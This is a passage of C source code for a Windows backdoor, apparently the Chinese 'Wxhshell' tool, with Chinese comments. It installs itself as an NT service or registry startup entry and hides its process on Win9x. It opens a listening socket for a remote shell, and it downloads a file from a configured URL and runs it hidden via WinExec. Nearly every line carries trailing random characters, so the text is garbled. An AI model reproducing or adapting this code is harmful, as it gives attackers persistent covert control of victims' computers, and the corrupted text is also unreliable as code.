DWORD ExitStatus; xe*aC
DWORD PebBaseAddress; AW,53\ 0
DWORD AffinityMask; 5:kH;/U
DWORD BasePriority; 0$-xw
ULONG UniqueProcessId; W>O~-2
ULONG InheritedFromUniqueProcessId; 39=1f6I1
} PROCESS_BASIC_INFORMATION; :duo#w"K
=dFv/F/RW
PROCNTQSIP NtQueryInformationProcess; W]nSR RWco
|<GDUwC_;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VP6ZiQ|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yUp,NfS]o
nH<eR)0
HANDLE hProcess; 'z[Sp~I\
PROCESS_BASIC_INFORMATION pbi; SGe^ogO"v
g]c 6&Y,#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {\(L%\sV@
if(NULL == hInst ) return 0; ]GRWnif
3.qTLga|}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lgb?)=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3%E74 mOcD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (x3.poSt
pbU!dOU~e
if (!NtQueryInformationProcess) return 0; c.j$9=XLBG
,JEFGI{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D)d~3`=#
if(!hProcess) return 0; >>5NX"{
;W^o@*i{>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #cCL.p"]
+mp@b942*
CloseHandle(hProcess); <-u8~N@43W
X0n~-m"m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QI3Nc8t_2
if(hProcess==NULL) return 0; 9J?wO9rI
iURk=*Z=
HMODULE hMod; ^/U|2'$'>E
char procName[255]; 8f3vjK'
unsigned long cbNeeded; YWxc-fPZ
UNkCL4N
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l'TWkQ-
ruazOmnn~
CloseHandle(hProcess); `4~H/'%QB
l@ap]R
if(strstr(procName,"services")) return 1; // 以服务启动 oD$J0{K6
>`%'4<I
return 0; // 注册表启动 J;f!!<l\
} 7IjQi=#:
)-`;1ca)s
// 主模块 >J>b>SU=-
int StartWxhshell(LPSTR lpCmdLine) f?'JAC*
{ wV^V]c ?U
SOCKET wsl; m2v'WY5u
BOOL val=TRUE; |\g5+fv9
int port=0; uI DuGrt
struct sockaddr_in door; Xt'sQ}
~R@Nd~L
if(wscfg.ws_autoins) Install(); )}_a
0bt
NwZ@#D#[ Y
port=atoi(lpCmdLine); (bh95X
pf_mf.
if(port<=0) port=wscfg.ws_port; T.qNCJmB
LK@lpkX
WSADATA data; /*c\qXA5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; as>L[jyG/
4X*>H
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; HVC>9_:]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PK4iuU`vh
door.sin_family = AF_INET; ]TyisaT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &JtV'@>v
door.sin_port = htons(port); \R3H+W
78/N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P'O#I}Dmw<
closesocket(wsl); W[^qa5W<FB
return 1; C|?o*fQ
} {U_$&f9s
R?p00
if(listen(wsl,2) == INVALID_SOCKET) { m]cHF.:5
closesocket(wsl); ;JRs?1<='
return 1; q.()z(M7
} vVgg0Y2
Wxhshell(wsl); e@ \p0(
WSACleanup(); QurW/a
Jzp#bgq}|
return 0; Nq@+'<@p$
&zuG81F6
} KR%{a(V;7
'_$uW&{NI
// 以NT服务方式启动 h)Ff2tX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !0dNQ[$82
{ w/IZDMBf|
DWORD status = 0; +|ycvHd
DWORD specificError = 0xfffffff; _BDK`D
MXyaE~LK
serviceStatus.dwServiceType = SERVICE_WIN32; hsw9(D>jp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s\P2Bp_{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2^^=iU=!<|
serviceStatus.dwWin32ExitCode = 0; d`/tE?Gw
serviceStatus.dwServiceSpecificExitCode = 0; 2~t[RY
serviceStatus.dwCheckPoint = 0; ]$,UPR/3
serviceStatus.dwWaitHint = 0; UAyC.$!
m{7(PHpw
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q/4 [3h
if (hServiceStatusHandle==0) return; E~a3r]V/
A<B=f<N3gV
status = GetLastError(); 7k( Kq5w.
if (status!=NO_ERROR) t&(PN%icD
{ ]7rj/l$u
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;-Jb1"5
serviceStatus.dwCheckPoint = 0; ?]4>rl}
serviceStatus.dwWaitHint = 0; rgOfNVyJG<
serviceStatus.dwWin32ExitCode = status; %.z,+Zz?
serviceStatus.dwServiceSpecificExitCode = specificError; &EpAg@9!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A3ZY~s#Iv
return; k`x=D5s\
} YOJ6w
}`NU@O#
serviceStatus.dwCurrentState = SERVICE_RUNNING; s-S}i{Z!
serviceStatus.dwCheckPoint = 0; SM^-Z|d?
serviceStatus.dwWaitHint = 0; ai0Ut
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +nT'I!//
} R9!Uo
TET`b7G
// 处理NT服务事件,比如:启动、停止 _Um d
VOID WINAPI NTServiceHandler(DWORD fdwControl) yu;SH[{Wi
{ Jx=hJ-FY
switch(fdwControl) r
lKlpl
{ #"49fMi/
case SERVICE_CONTROL_STOP: 0j_bh,zG#
serviceStatus.dwWin32ExitCode = 0; mP(kcMT"
serviceStatus.dwCurrentState = SERVICE_STOPPED; \t|M-%&)4
serviceStatus.dwCheckPoint = 0; 1*
]Ev
serviceStatus.dwWaitHint = 0; /CIh2
]#e
{ 2z@\R@F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P(a.iu5
} g5q$A9.Jl
return; >~\89E02
case SERVICE_CONTROL_PAUSE: @;?T~^nGj
serviceStatus.dwCurrentState = SERVICE_PAUSED; ZY56\qcY
break; {bPV)RL:
case SERVICE_CONTROL_CONTINUE: W#Qmv^StZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; &k8vWXMGk%
break; 3or\:
case SERVICE_CONTROL_INTERROGATE: p)~lL
break; Tb1U^E:
}; wap3Kd>MP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _e7-zg$/
} [qoXMuC|P
dgo3'ZO
// 标准应用程序主函数 2:LHy[{5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O0PJ6:9P
{ m5D"A D
9Ok9bC'?8@
// 获取操作系统版本 J4YBqp
OsIsNt=GetOsVer(); :ZDMNhUl
&
GetModuleFileName(NULL,ExeFile,MAX_PATH); 178Mb\8
9RwawTM
// 从命令行安装 !SKV!xH9
if(strpbrk(lpCmdLine,"iI")) Install(); ;;)`c/$
{>bW>RO)
// 下载执行文件 ="d*E/##
if(wscfg.ws_downexe) { 5%}wV,Y
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j:bgR8%e
WinExec(wscfg.ws_filenam,SW_HIDE); g`>og^7g
} R3X{:1{j
{w
<+_++
if(!OsIsNt) { pZZf[p^s|
// 如果时win9x,隐藏进程并且设置为注册表启动 RL[E X5U
HideProc(); .O0O-VD+a
StartWxhshell(lpCmdLine); 9GdB#k6W`
} 3u33a"nL8
else 7}_!
if(StartFromService()) RB?V7 uX
// 以服务方式启动 T%R:NQf
StartServiceCtrlDispatcher(DispatchTable); yE} dj)wd
else 5yVkb*8HS
// 普通方式启动 V|>oGtt7
StartWxhshell(lpCmdLine); gLsU:aeCT
fj ,m
return 0; KL'zXkS
}